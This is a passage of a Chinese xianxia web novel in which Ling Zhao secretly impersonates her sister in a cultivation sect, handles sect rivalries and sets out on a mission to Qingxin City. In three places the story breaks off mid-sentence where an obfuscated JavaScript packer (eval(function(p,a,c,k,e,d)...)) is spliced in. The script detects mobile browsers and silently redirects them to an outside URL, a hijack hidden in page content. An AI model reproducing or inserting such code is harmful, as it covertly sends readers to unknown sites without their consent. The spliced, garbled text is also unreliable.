听着云华真人那番严丝合缝的推测,凌昭一直悬着的心,终于落下。 她原本的计划,是咬死“不知道”三个字,对“失忆”进行全利用。如今倒好,被安上了一个格外好的理由——因承受不住机缘而遭反噬,导致灵力暴走、记忆受损。 目前是没有比这更合理的理由了。 凌昭忍住要牵起嘴角。很好,“顶替”大业的第一步根基,比预想中还要稳固。 “莫要忧心,待你大师姐回来,让她带你四处走走,熟悉熟悉,兴许便能触景生情,想起些什么。”云华真人语气温和,伸手轻轻揉了揉凌昭的发顶,眼中满是怜爱,“师尊还需去主峰处理些事务,你且安心休息。” 凌昭身体僵硬了一瞬,对陌生的触碰本能地感到抵触,却硬生生压下了闪避的冲动,任由那温暖的手掌将自己的发丝揉乱。她垂着眼,幅度很小地点了点头。 云华离开,凌昭平静扫了一眼北山霁,见对方还没走,心里悄然升起一丝警觉:这个人为什么还不走? 就在她暗自揣测时,北山霁忽然开口,字字清晰: “师妹似乎对无字书颇有兴致。” 话音落下的瞬间,北山霁的目光似有若无地扫过榻边小几上那卷空白的书册,随即,不再多言,转身便朝殿外走去。月白色的衣袂划开一道利落的弧线。 顺着目光,凌昭拿起那本无字书打量着,除了从封皮到最后一页都没有字,没什么特殊之处。 略一沉吟,凌昭注入神识。 神识触及书页的刹那,那空白页上竟然缓缓浮现六个大字: 山雨起,见清心。 凌昭盯着这六个字,指尖摩挲着书页。 清心……草? 4. 第四章 “凌师姐,您又来啦!” 藏书阁值守弟子远远瞧见那道熟悉的水蓝色身影,立刻露出笑脸,熟稔地打起招呼,同时将一枚进出玉牌递了过来,顺口提醒道:“师姐,您本月亲传弟子的免费阅览时辰,还剩不到一个时辰。之后,就要抵扣宗门积分嘞。” 凌昭伸出的手顿了一瞬。 这么快?她修养这两日几乎都泡在藏书阁,虽知晓有时限,但没想到这么快。 她这细微的迟疑未能逃过值守弟子的眼睛。 那弟子猛地一拍额头,压低声音,带着歉意道:“瞧我这记性!忘了师姐您……呃,身体尚未痊愈,”他迅速解释道,“宗门规矩,藏书阁阅览时辰,外门弟子每月八个时辰,内门三日,亲传则有八日。超出部分,需以完成宗门任务所获的积分来兑换。师姐您先前为准备秘境历练,已用去不少时辰了。” “原是如此,多谢师弟告知。”凌昭微微颔首,浅笑着接过玉牌,神色如常地步入藏书阁。 飞仙宗不愧为当世第一仙门,其藏书阁有九层,分门别类,包罗万象。然而,凌昭在此耗费两日,真正有用的线索却寥寥。 她只查到了定神丹所需的几味主药记载——那是修复神识损伤的上古丹方之一,药材皆非凡品,寻找与炼制极为困难。 而最让她在意的两条线索,翻遍了也没有找到相关记载。 其一,是无字书。 那日之后,凌昭便问了凌曦。果不其然,凌曦对此毫无记忆。凌昭翻遍了法器图谱、奇物志异乃至上古秘闻相关的区域,都没有找到蛛丝马迹。 其二,是清心草。 清心草并非罕见灵植,生长之地全凭机缘,并无定所。它最普遍的用途是炼制“清心丹”,常用以平复心魔。然而,具有类似效用的丹药不下十数种,倒不是必须之物。 但那书上确有“清心”二字,妹妹也是为了寻找它,虽然不排除书误导的可能性,但凌昭还是试图找到清心草的隐藏作用,同样一无所获。 两日搜寻,几无所获。凌昭只能将希望寄托于师父的回讯。可三日过去,传讯依旧杳无音信。 凌昭和妹妹吐槽了数次,“他老人家怎么在关键时刻搞消失啊!” 今日,凌昭便转向另一项紧要任务——恶补医修常识。 既要扮演凌曦,至少不能对医术一窍不通。凌曦主修疗愈之道,于灵植培育、丹药炼制、针灸岐黄皆有造诣。 脑海中回响起妹妹昨夜透过纸笔传来的叮嘱:“阿姐,丹药符箓我储备尚足,短期内不必担心。眼下最要紧的,是尽快熟悉常见灵植,并掌握医修最基础的疗愈术法。如此一来,日常应对便不至露馅。” 凌昭依言,径直走向医道典籍区域。她神识强大,加上师父教的神识拓印之术,记忆于她不算难事。她将一本本书卷摊开,凝神静气,将神识网状般覆盖书卷,其内容便如潮水般印入识海。 即便以这种惊人的速度,合上最后一卷时,也过去了三个时辰。 凌昭轻轻阖眼,揉了揉饱胀的太阳穴,这才起身将取出的书卷归还原位。做完这一切,她才轻轻舒了口气,拍了拍并无尘土的衣袖,转身走出了藏书阁。 如今未时,来往的弟子多了些许。 凌昭刚出藏书阁,就被值守弟子拦住,神色焦急中带着欣喜,“凌师姐!你出来的真及时!” 不等她询问,值守弟子已经吐露个干净:“是池师姐去天机峰找淮师姐理论了,说是都打起来了,悬玉师兄让我通知师姐您最好过去劝劝,毕竟事因您而起。” 一连串的信息就这么砸上来,凌昭迅速在脑子里翻译了一遍,依旧一脸疑惑,什么叫因她而起?为什么是悬玉通知? 转念一想,凌昭内心轻啧一声,非要这么说只能是秘境那事,她还真得走一趟。 她可没忘是谁告诉妹妹清心草的位置。 她递还玉牌后匆匆谢过值守弟,便赶往天机峰,脑子里不断寻找着这几人的身份信息。 这几日,凌曦已经将宗门可能接触的人都一一介绍给她,稍微一回想便能想起个七七八八,只是身份和脸对上还需要一段时间。 但目前能确定的, 池寄瑶,她的大师姐,善用毒的医修。 淮清月,天机峰昌明真人的大弟子,符阵天才。 悬玉,淮清月师弟,极善用符。 凌昭赶到天机峰,询问才知池寄瑶在淮清月院里喝茶,并没有打起来。 她猜想也是这样,按照妹妹口中的他们也不太像意气用事之人。 雕花窗棂半开,室内茶香袅袅,粉衣女子和紫衣女子分坐茶桌两侧,手边各有一盏清茶。 凌昭一眼辨别,粉衣的是池寄瑶,紫衣的便是秘境见过的淮清月。 池寄瑶眉眼弯弯含笑,指尖却无意识地在杯沿摩挲。淮清月背脊挺得笔直,下颌微抬,淡然神色带了些许不耐,但捏着茶盏的指节微微发白。 走进些许,凌昭才有所察觉的扭头,恰恰对上一双琥珀色眼眸,对方一头罕见的白发,眼尾微挑,把玩着一枚符纸,嘴角带着毫不掩饰、看好戏的笑意。 白毛加上如此顽劣的笑意,只有悬玉了。 “凌师妹来了?” 悬玉的声音不高,却恰好打破了室内凝滞的寂静,将所有人的目光都引向了门口。 他笑吟吟地直起身,仿佛刚发现凌昭一般:“伤还没好利索,怎么亲自过来了?快请进。” 他语气关切,动作也殷勤,侧身做了个“请”的手势,目光却轻飘飘地掠过池寄瑶和淮清月,带着明显的挑衅。 目睹一切的凌昭,面上依旧温和,内心只想冲悬玉白眼,她顶替妹妹之前怎么没碰到他呢,对方绝对值得她一顿毒打——一直在挑衅。 池寄瑶看见凌昭,眼底掠过一丝无奈,旋即便是担忧。她立刻起身,几步上前扶住凌昭的手臂,声音温柔:“师妹你怎么来了?我刚回宗想着处理完去看你。” 她指尖搭上凌昭腕脉,一股温和的灵力迅速探入,确认她并无大碍,眉头才略略松开,但随即又蹙起,看向悬玉的目光里含了冷意,直白道:“悬玉,你故意请的曦儿?” 悬玉一脸无辜,摊了摊手:“池师姐这可冤枉我了。我只是见二位师姐为此事争执不下,想着凌师妹身为当事人,总该有知情权。再者,”他话锋一转,笑意更深,“有些误会,当面说开才好,免得伤了同门和气,您说是吧,淮师姐?” 他最后一句,直指一直沉默的淮清月。 淮清月捏着茶盏的手指又紧了几分,指尖略微泛着青白。她终于抬眸,目光扫过悬玉,带着毫不掩饰的厌烦。随后,她才看向被池寄瑶扶着的凌昭,语气生硬,却难得解释了半句:“我未曾让你去寻清心草。” “哦?”池寄瑶语调上扬,“我只想知道,是不是你告诉曦儿清心草位置的。” 目光都停在淮清月身上。 她嘴唇微动,但高傲和某种难以说清的情绪让她抿紧了唇,依旧生硬解释:“我说了,我不知她会独自前往。” “你不知?”悬玉恰到好处地插话,惊讶地甚至有些夸张,“你和北山师兄分带两队,凌师妹独自行动你会全然不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164922|196664||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知?” 听到这,不可否认,淮清月彻底被凌昭拉入怀疑名单,但同时她也疑惑悬玉这样针对他师姐是何居心? 她只听说二人极其不对付,但论起亲疏远近,这看着像是在帮“外人”的行为哪哪都不合理。 淮清月被悬玉接连挤兑,彻底不耐烦。她“啪”一声将茶盏搁在桌上,茶水溅出几滴。她站起身,直视悬玉:“我行事向来分明,这次是我领队失误,我会去执事长老那领罚,自此不会再当领队。” “悬、玉,满意了吗。” 淮清月面无表情地说完,向来淡然的脸上多了些嘲讽,对悬玉的厌恶几乎化为实质。 悬玉却似乎浑然未觉,眼尾明显上扬,笑容多了些真切的愉悦,语气轻快:“当然满意啦,我的师姐。师姐能者多劳这么长时间,也该歇歇了,专心符阵大道才是。” 然而,淮清月不再搭理悬玉,神色恢复正常,对着凌昭生硬开口:“你……我自去领罚,稍后补偿于你。” 说完,她不再停留,甚至未再看池寄瑶和悬玉一眼,拂袖转身,紫衣划出一道冷冽的弧线,径直离开了茶室。 室内一时寂静。 三个人,只有悬玉心情颇佳。他转过身,变戏法似的从袖中掏出一叠符纸,递到凌昭面前。 “凌师妹受惊了,”他语气诡异地诚恳,“我师姐脾气硬,话也不会说。这点小玩意儿,算是我代她赔个不是,给师妹压压惊,万勿推辞。” 凌昭垂眸,目光扫过那叠符纸。无需细探,以她的眼力,瞬间便分辨出其中至少包含了上品攻击符、防御符,甚至有几张堪堪极品的符纸。价值不菲,且实用。 好一个计中计。 凌昭心中冷笑,面上却适时地露出些许无措,指尖微蜷,没有立刻去接。她先是抬眼看向身侧的池寄瑶,眼神里明晃晃的依赖与询问。 池寄瑶拍了拍她的手背,又落回悬玉那张笑意盎然的脸。 “悬玉师弟倒是大方。”池寄瑶笑着夸赞,接过符纸塞给凌昭,“曦儿便收着吧,天机峰的符纸,总归是些好东西,而且这可是悬玉师弟的‘谢礼’。 最后一句意有所指,任谁在场都能听个明白。 凌昭指尖触及掌心的符纸,心里惊叹真是一场阳谋对阳谋。 悬玉步步紧逼,看似替“凌曦”出头,实则就是要逼淮清月承认失职、自请卸任领队之职。池寄瑶顺水推舟,看似接受了这个“公道”,实则用一句“谢礼”,将这场算计赤裸裸地摊在阳光下,警告悬玉。 都是摆在明面的东西,凌昭顺势收起符纸,微微颔首温和一笑:“多谢师兄厚礼。秘境一事,难辨原委,师兄与师姐们既已议定,我便不再深究了。” 面上是这样说,但凌昭心里清楚:这是“凌曦”不追究了,不是她凌昭不会追查下去。 “行了,不叨扰了。” 池寄瑶拉着凌昭,看都未看一眼悬玉,摆摆手就离开了院落。 离开天机峰一段距离,凌昭才试探问道:“悬玉师兄和淮师姐……如此不和吗?” 池寄瑶皱着眉头思考一瞬,摇头:“应该是,当年我们同批入宗,好像那时候他们就经常拌嘴。”她转头声音严肃了些,“你如今失忆,只要记住不要和悬玉走太近,他孤儿出身无所牵挂,也不在乎宗门规矩,后山禁闭处的常客了,行事向来无拘束嗯……哎呀反正别走太近就行。” …… 池寄瑶受云华传唤,凌昭便自行回了宗门,远远便见一道月白身影,挺拔着站在殿前。 北山霁? 他来干嘛? 5. 第五章 凌昭怎么也没想到,不过是客气一句“师兄可要进来喝杯茶”,北山霁还真就点了点头。 月白剑袍的下摆擦过门槛,他身形挺拔,自带一股生人勿近的气场,偏生就这么自然地坐在了茶桌旁。凌昭面上温婉笑意不变,心里却警铃大作——这人想干嘛?事也没说,客气一句还真进来了。 她转身去取茶具,借着动作观察对方神情。杯上斟了七分满,推至北山霁面前。 “师兄特意过来,可是有事?”凌昭在他对面坐下,双手拢在袖中,摆出凌曦惯有的倾听姿态。 余光中,对方端起了茶,却没有立刻饮,只是漫不经心地用杯盖轻撇着浮叶。 凌昭可以确定,对方一直在审视自己,格外明显。 “刚从执事堂过来。”他开口,声音如常,“淮清月自请卸去领队之职,领罚禁闭七日。” 凌昭袖中的手一松,原来是这事,但是心下却是一声轻嗤,这人当真不知道她刚从天机峰回来? 她抬眼,恰恰撞进他幽深的眼眸,很亮。 行,管他知不知道。 她适时露出些许惊讶、惋惜,还未开口,就听北山霁继续说着。 “她说这是领队失误该罚的。”北山霁放下茶盏瞬间碰出声响,“我来知会一声。” “多谢师兄告知。”凌昭颔首,指尖无声地捻了捻,她记得北山霁常年担任领队,便顺势问出了心中所惑,语气带着关切:“师兄,这领队一职……对淮师姐很重要吧,这……” 她没说完,但意思到了。 北山霁看了垂眸绞着手指的女修一眼,眼神里一丝难以捉摸的东西一闪而过,神色淡了下去。 凌昭感知到那种审视消失的同时,听到了他的回答。 “荣誉。” 是的,荣誉。 简单两字,已然道尽一切。 北山霁出身底蕴深厚的北山世家,淮清月身后是势力盘根错节的淮氏,在飞仙宗,这样出身显赫的弟子不在少数。他们这些天之骄子,荣誉是与生俱来的,却也是他们一生都要捍卫的。一次领队失误,对旁人或许只是挫折,对他们来说,不。 是对他们家族来说,是污点。 凌昭内心轻啧,她一直都觉得这样很可悲,但绝对不是可怜。心中作何想,面上适时流出惋惜,轻叹:“淮师姐,本不用如此……” 不等凌昭说完,北山霁皱着眉便起身。 “师妹恢复的不错,不再打扰了。” 说罢,径直离开,转眼便消失在视线里。 来的莫名其妙,走的也是如此。 凌昭看着一丝未动的茶,上面还缓缓晕着灵雾。她啧了一声扯了扯嘴角,端起来一口闷了。 她随手关闭殿门,转身瞬间,人就出现在了伴生玉空间内。 这里灵气充盈,凌曦正靠在榻上翻看医书,便见自家姐姐拎着一壶茶进来了,颇有些怒气冲冲的样子。 “阿姐,”凌曦好笑地倒了一杯茶推过去,“这是被谁气到了?” 接过茶,凌昭缓了缓没说生气一事,而是将天机峰发生的一五一十说了,末了疑惑:“悬玉和淮清月到底怎么回事?其间有什么内情吗?” 凌曦沉吟片刻,合上医书,一边回想一边开口: “悬玉师兄与淮师姐,确是同期通过入宗试炼的弟子。据说当年试炼,悬玉师兄表现惊人,本有望夺魁,最终名次却有些微妙地靠后,反成了淮师姐的‘师弟’。这或许是一根刺。” “不过我感觉更多是嫉妒?”她压低了声音,“悬师兄入宗前是孤儿,流浪街头,被测出了灵脉才被加到入宗备选里。淮师姐就不一样了,修仙世家都有一个免试名额,她那场试炼可有可无。” “你知道的还挺多。”凌昭一点也不感兴趣这些,倒是听妹妹眉眼灵动地说着觉得分外有意思。 凌曦浅浅一笑,柔和的眼睛闪过一丝狡黠,“灵菏初经常与我说这些,她从小生活在宗门,各峰轶事、陈年旧闻,没有她不清楚的。” 提起灵菏初,她忽然想起什么,提醒道:“按她的性子,这几日没来,应该是关禁闭呢,过几日应当就来找我了。” 凌昭点头,“嗯我记着呢。” 灵菏初,是妹妹介绍里最让人印象深刻的一位。 清商峰峰主灵问酒的独女,一个在音律之道上天赋感人却热情不减的音修,经常因为这些被她父亲罚,挨打关禁闭等。每次受伤都可怜兮兮地来找凌曦。 至少,在妹妹的介绍里,她能感知到,妹妹真心把她当朋友。 此外,她平日也没接触过什么音修,也好奇音律到底差成什么样。 “你和北山霁当真不熟?”凌昭思来想去还是觉得奇怪,索性问出来了。 “阿姐问我啊?”凌曦吹了吹茶上的灵雾,“我记得阿姐和他以前没少切磋啊,他熟悉的是阿姐吧。” “话是这样说,”凌昭捏了捏妹妹软软的脸,“可我现在是你啊,以前也没人知道我真实身份。所以他这么警觉?” 她松开手沉吟片刻,抱着胳膊一脸严肃:“你说,我今晚去杀人灭口怎么样?” 凌曦:“……” “或者你给我点让他失忆的药?”凌昭摸着下巴,认真盘算起来,“或者昏迷的药?弄晕了再杀了……” “阿姐。”凌曦无奈唤她。 二人都知道,这话带了玩笑。北山霁这个人实力确实不俗,单论一个天赋榜第一的名头便足以证明他不俗,真要打起来,凌昭还真不敢说十足的把握杀了他。 凌昭摆摆手,眼底闪过锐利,“玩笑归玩笑,他真要是真发现了,”她顿了顿语气格外地冷静,“我会杀了他。” “好,”凌曦点头,“阿姐小心便是。” 凌昭挑眉,看了眼妹妹笑了。 …… 知道灵菏初要来,但没想到来的这么快。 次日清晨,凌昭正在殿前给灵植浇水。趁着晨露还在,她动作生疏但仔细地灌溉着灵植。 “凌曦!” 一声拖长的呼喊由远及近,凌昭还没回头,就被一道鹅黄色身影结结实实抱住。 “呜呜呜我不过被关了几天禁闭而已,你怎么就出了这么大的事!呜呜呜……” 嗓门嘹亮,眼泪却没见几滴。 凌昭身体本能地绷紧,又强迫自己放松。有些无奈地把几乎挂在自己身上的女修“掰”下来。 对方扎着双马尾,发间系着银铃,一动就叮当作响。一双杏眼此刻通红,却干爽得很——典型的“雷声大,雨点小”。 凌昭没忍住笑出声。 “啊啊啊你笑我!”灵菏初瞪大眼睛,随即又凑近,盯着凌昭的脸仔细看,“真失忆了?” 凌昭收敛笑意,温声道:“灵菏初?” “对对对!”灵菏初立刻眉开眼笑,熟练地拽着凌昭往旁边石桌走,“坐坐坐,失忆了没关系,我帮你回忆!” 两人刚落座,灵菏初就“唰”地掏出一张桐木琴,动作快得凌昭都没看清她怎么拿出来的。 “找回记忆第一步——”她一本正经地竖起一根手指,“先听我弹琴!” 凌昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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凌昭站在殿前,看着她消失在山道尽头,轻轻呼出一口气。默默给妹妹留言:累,比打架还累。 接下来的几日,玉衡峰格外热闹。 先是灵菏初日日来,后来不知怎么传开,说玉衡峰大师姐闭关冲境,不再拦客,于是探望的人便络绎不绝。 有真心担忧凌曦伤势的同门,也有单纯想与亲传弟子攀关系的修士。 凌昭白天温婉含笑,应对各色人物;晚上钻进伴生空间,和妹妹学习医术。 实在过于充实。 七日后,灵菏初被灵问酒亲自拎回清商峰闭关练琴。其他探访者也渐渐少了。 凌昭的“伤”也终于养好了。 这天一早,凌昭就第一次正式前往执事峰接取任务。 飞仙宗的执事峰十分威严,人流往来却井然有序,没有一丝嘈杂。最引人注目的便是中间那块巨大石壁,流光闪烁,密密麻麻的任务陈列其中。 凌昭仰头看着,目光扫过一个个任务。 她需要宗门积分,大量的积分。不仅是为了抵扣藏书阁阅览时辰,更是为了换一些外界难寻的灵物,比如炼制定神丹所需的。 这些任务从采集低阶药草到清剿为祸一方的妖魔,难度与报酬天差地别,凌昭都看了一遍。其实大部分她都能独自接,但现在她是凌曦,还是主治疗的医修,那些需要正面搏杀、风险极高的任务,显然不合时宜。 她微微蹙眉,正权衡着几个收集特定药材或协助炼丹的中等任务时,一道略显稚嫩、却带着压抑不住兴奋的声音,突兀地从她身侧传来: “凌师姐!真巧啊!师姐可是要接任务?我们队伍正好缺一位医修,师姐要不要一起?” 凌昭循声侧目,一张尚带几分少年气的俊秀面庞映入眼帘。 是那个在秘境中,跟在北山霁身后气喘吁吁的小剑修。 6. 第六章 一头棕色卷毛闯入视线的瞬间,对方还没自我介绍完,凌昭已经和妹妹的介绍对应上了。 如此标志性的头发,只有无极峰的长岁宁了,北山霁的师弟,是个不知血统的半妖。 当时凌昭还惊奇,半妖本就是人妖两界不讨好的存在,飞仙宗倒是不介意。 凌曦解释说:“当年他奄奄一息被鼎烹峰峰主救了回来,后来发现是个练剑的好苗子,就被宗主收为二徒弟了。” 简而言之,宗主都没说啥,谁又能说什么。 长岁宁不过十四、五岁的样子,眼睛巴巴地期待对方同意,但凌昭还是委婉地拒绝了。 她一直认为,执行任务时,麻烦的不是任务本身,而是那些麻烦的队友。 “多谢师弟相邀,”她脸上闪过一丝迟疑,“只是不知具体任务是什么?我伤势初愈,恐怕会拖累你们。” “不会不会!”长岁宁连忙摆手,少年气的脸上满是诚恳,“师姐放心,这任务说难也不算顶难,主要是繁琐些。是清心城那边递来的求助……” 清心……城? 短短几字,凌昭没了拒绝的理由。 世间巧合千万,但凌昭不相信这是纯粹的巧合。万一,无字书的“清心”,指的不是一株草,而是一座城呢。 长岁宁瞅着凌昭神色,见对方似乎感兴趣,语速不由得加快,带着少年人特有的雀跃: “清心城算是依附咱们宗门的一座大城了,坐落在飞仙山脉东南的入口,主要做灵植、妖兽材料的中转贸易,一向太平。可前两日,防御阵法不知怎的,好几处节点同时破损,又正值深秋——师姐你知道的,这个季节妖兽最是活跃,容易躁动。所以城主直接递了急讯被我们赶上了,咱们去修复阵法,顺便清理一下周边妖兽就行。” 他顿了顿,挠了挠卷毛,补充道:“不过阵法那些活儿有悬玉师兄在,师姐不用操心。倒是城里有几名护城修士,说是灵力运转出了点问题,医馆的大夫查不出原因,这个需要师姐负责治疗一下。” 一股气说完,长岁宁眼巴巴地看着凌昭,眼里满是期待,“师姐?悬玉师兄已经接了任务牌,正在执事堂侧殿等着呢。” “悬师兄也去?”凌昭倒不会因为他就不去这个,只是略微疑惑。 长岁宁显然误会了她的顾虑,连忙拍胸脯保证:“师姐别担心!悬玉师兄虽然不讨喜,但修复阵法靠他绝对没问题。这个任务还是他邀的我呢。” “不讨喜”仨字出来,凌昭险些没憋住笑。 她扯了扯嘴角不再说什么,“既然如此,何时出发?” “现在现在!”长岁宁喜形于色,一头棕色卷毛似乎更蓬松了些,“我们在山脚集合。” …… 飞仙宗山门之下,已候着两道身影。 悬玉正懒洋洋靠着山石,见二人走来,他抬眼,嘴角再次噙着笑。 “凌师妹伤好了?”他语气轻飘飘的,“还以为要多休养些时日,看来师妹恢复得不错。” “劳烦师兄挂心。”凌昭微微颔首,不欲多谈。 另一侧是位穿着内门弟子服的女修,规规矩矩站着,身量中等,凌昭也是靠近才注意到她。她腰间悬着龟甲和几枚铜钱,此刻正低着头,手指无意识地摩挲着龟甲边缘。 “这是从小乙!”长岁宁热情地介绍,几步跳到她身侧,“内门胡长老的弟子,擅长卜卦推演。小乙,这是玉衡峰的凌曦师姐。” 从小乙这才抬起头。 那是一张清秀却略显苍白的脸,眉眼温顺,瞳孔颜色偏淡,像是蒙着一层薄雾。察觉到凌昭的目光,她似乎有些紧张,手指蜷了蜷,声音细弱:“凌、凌师姐好。” “从师妹。”凌昭回以温和浅笑,目光在她腰间的龟甲铜钱上停留一瞬。 卦修一道,玄之又玄。她行走四方时接触不多,却深知其中厉害者能窥一线天机,断祸福吉凶。长岁宁与她熟稔,想来这看似怯懦的姑娘,必有过人之处。 “人都齐了,”悬玉直起身,懒洋洋地伸了个懒腰,“走吧。” 他指尖轻弹,三张浅金色符箓精准飞出,贴在几人肩头。瞬间一股轻灵之力包裹全身。 “清心城不远,半个时辰就能到。” 悬玉说着,自己却未用符,而是袖中滑出一柄通体莹白的玉尺,踏足其上,“跟紧了。” 话音未落,玉尺已化作流光掠出。 长岁宁嘿然一笑,召出长剑跃上:“师姐,小乙,咱们也走!” 凌昭也操控灵力飞速跟上。 四人御空而行,脚下飞仙山脉彻底显现。 飞仙山脉绵延如龙,七十二峰在云海中若隐若现。越过主峰群,东南方向地势渐缓,一片开阔的城池映入眼帘。周围不少修士和妖兽打斗的身影,正是清心城。 几人径直朝城门方向落去,离地尚有数十丈时,一道光幕骤然亮起,拦住几人。 “来者止步!”城墙上传来喝声,“报上名号,验明身份!” 悬玉啧了一声,抬手亮出飞仙宗亲传弟子令牌。令牌泛起灵光,光幕闪烁间才开启一道缝隙。 四人落地,眼前是清心城高大的城门。 “飞仙宗弟子,奉命前来。”悬玉上前,语气平淡。 为首守卫仔细查验过四人令牌,又取出一面铜镜状法器,对着每人照了一遍。镜面泛起微光,显示并无异常。 “登记。”守卫递过一本厚厚的册子,“姓名、入城事由、预计停留时长。外来人员,在城期间每日需至巡防所报备一次。” 凌昭接过册子,指尖触及粗糙的纸页,只见前面已有了数行记录,皆是近日入城的修士,后面都跟着“已出城”或“仍在城内”的标注,见此心中嗤笑。 她见过的城池无数。便是妖族边境的城池,盘查也不过如此。清心城不过一贸易中转之地,何须这般如临大敌? 她曾经来过一次,被这般盘查后她还以为是针对散修,如今倒像是针对所有人。 凌昭敛了心神,提笔写下“凌曦,奉命执行宗门任务,停留三日”。 轮到从小乙时,少女握着笔的手有些抖,墨迹在纸上洇开一小团。守卫瞥了一眼不耐地催促快些。 全部登记完毕,守卫才侧身让开:“城主在府中已等候多时。” 离开守卫视线,长岁宁张嘴就吐槽:“我去这什么态度!求人办事的态度都没有。” 他扭头问从小乙,“我们上次来这,态度有这么恶劣吗?” 从小乙摇头,突然想起来这次还没有算吉凶,小声说:“我算一下吉凶。” “行,算算也好。但应该没什么危险吧。” 长岁宁说完,几人就都停下来等着。 从小乙拿起铜钱,合于掌心,闭目默祷。她周身泛起一层极淡的灵光。片刻后,她将铜钱轻轻掷于地面。 铜钱叮当作响,翻滚停稳。 长岁宁好奇地凑过去看,却见从小乙的脸色“唰”地一下变得惨白,连嘴唇都失了血色。她盯着那三枚铜钱组成的卦象,手指微微颤抖,仿佛看见了什么极为可怕的东西。 “小乙?”长岁宁收了玩笑的神色,“怎么了?” 小乙摇摇头,捡起铜钱,“我、我再试一次。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164924|196664||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 铜钱再次落地。 “……大凶。”从小乙的声音干涩,带着难以置信的惶恐,“出行前我算过,明明是平。现在、这……” “会不会算错了?”长岁宁挠挠头,试图缓和气氛,“咱们就是来修个阵法、清清妖兽,能有什么大凶?说不定是城里气场干扰了卦象。” 悬玉勾勾唇,话里带了些嘲讽,一点都不在乎这些:“许是你学艺不精呢,走了。” 从小乙闻言没有多说,抿了抿唇,默默跟上。长岁宁动了动唇,神色古怪也没有多说。 凌昭不紧不慢跟着几人,不管卦象错没错,小心点总是好的。 她一进城就打量着周围环境,这里比上次清冷了不止一点,虽然有些许行人,但是毫无生气。 潜意识告诉她,这里绝对不会这么简单,一种危险的预感笼罩心头。 城主府位于清心城中心,通报后,几人被引入正厅。 清心城城主是个四十余岁模样、留着短髯的中年修士,名唤郑德,修为约在金丹后期。他身着锦袍,面色红润,见几人进来,立刻堆起热情的笑容迎上前。 “有劳几位真人远道而来!快请上座!”他拱手寒暄,目光在四人身上一扫,尤其在亲传弟子令牌上多停留了一瞬,笑意更盛,“没想到竟是三位亲传亲自前来,郑某真是感激不尽、感激不尽啊!” 侍女奉上热茶,几人都没有碰,悬玉开门见山:“说说情况。阵法破损节点图,还有几位灵力出问题的修士诊断记录。” “是是是,”郑德连连点头,从袖中取出一枚玉简和几张纸,“节点图在此,至今不明原因。至于那几位护城修士……”他叹了口气,脸上适时显出忧虑,“一共三人,症状几乎一样:灵力运转时不时便感到滞涩,调动起来分外吃力,且日渐严重。城中几位医修都看过了,灵脉本身无损,神魂也无异样,查不出根由。他们如今在城西别院静养,我已吩咐下去,仙师随时可去检查。” 凌昭接过那几张记录症状的纸,垂眸细看,“发病前,他们可曾共同去过某地?接触过何物?” 郑德想了想:“他们都是护城小队成员,日常巡逻区域略有不同,但交集不少。至于共同接触……啊,大约发病前两日,他们小队曾一同进入过南边老林深处,例行巡查一处废弃的洞穴,回来时还好好的,隔日便陆续不对劲了。” 凌昭默默记下。 “妖兽躁动又是何时开始的?”悬玉问。 “也就是这几日!” 郑德语气加重,“往年深秋,妖兽虽活跃,但多在深山,且有一定规律。可最近,城周边山林里的低阶妖兽像是疯了似的,数量增多,冲撞阵法。若非如此,那几处节点也不至于损耗加速,同时破损。”他一脸疲惫,“还好,只是低阶妖兽,尚未形成大规模兽潮。几位真人若能尽快修复阵法,再清理一番周边,想必能安稳度过这个秋天。” 了解到这,几人已经分工明确:悬玉修复阵法,凌昭查病,长岁宁、从小乙去清理妖兽。 四人告辞城主,便准备分头行动。 “晚上还是在此汇合。”说完,悬玉率先离开。 “哎,师兄怎么这么着急。”长岁宁挠了挠头,担忧的看着凌昭,“师姐你一个人行动行吗?要不让小乙和你一起吧。” “没事我一人即可。师弟和从师妹多加小心才是。” 见凌昭这样说了,长岁宁也不好多说,重重点头。 “小乙咱们也快点!” 很快,原地只剩下凌昭一人。她看了眼城主府大门,脑中郑德红润的面色一闪而过,也赶往城西别院。 7. 第七章 “哐当” 一阵急促的声响打断了凌昭的脚步。 这一路,街道两旁的房门大多都落了锁,偶尔几家开着,也不见人影。 太安静了,这声哐当来的正好。 前方一户宅院的门微微遮掩着,凌昭神识轻扫,便见一个修士正将屋中器物化作流光,收入储物袋中。动作间透着仓促,一只玉瓶未被摄稳滚落在地,他也顾不上去捡。 凌昭停下脚步。 那修士察觉门外有人,猛地转头,满是疤痕的脸上那双眼警惕地盯着门外。直到看到一身水蓝服饰的女修推门进来,目光触及对方腰间飞仙宗亲传玉牌,紧绷的肩膀才略松几分。 “这位真人……”他声音有些沙哑,“可是宗门派来处置城中事务的?” 凌昭微微颔首,“正是,道友这是……要远行?” 修士扯了扯嘴角略微迟疑地看着凌昭。 见对方迟疑,凌昭抬手布下隔音,“在下飞仙宗亲传,道友大可放心。” 修士嘴唇微动,深吸一口气,“这城待不得了。”他语速加快,似乎要将恐惧倾倒,“真人莫怪在下失礼,实在是再不走怕是要步入他们后尘。” “他们?”凌昭顺势追问。 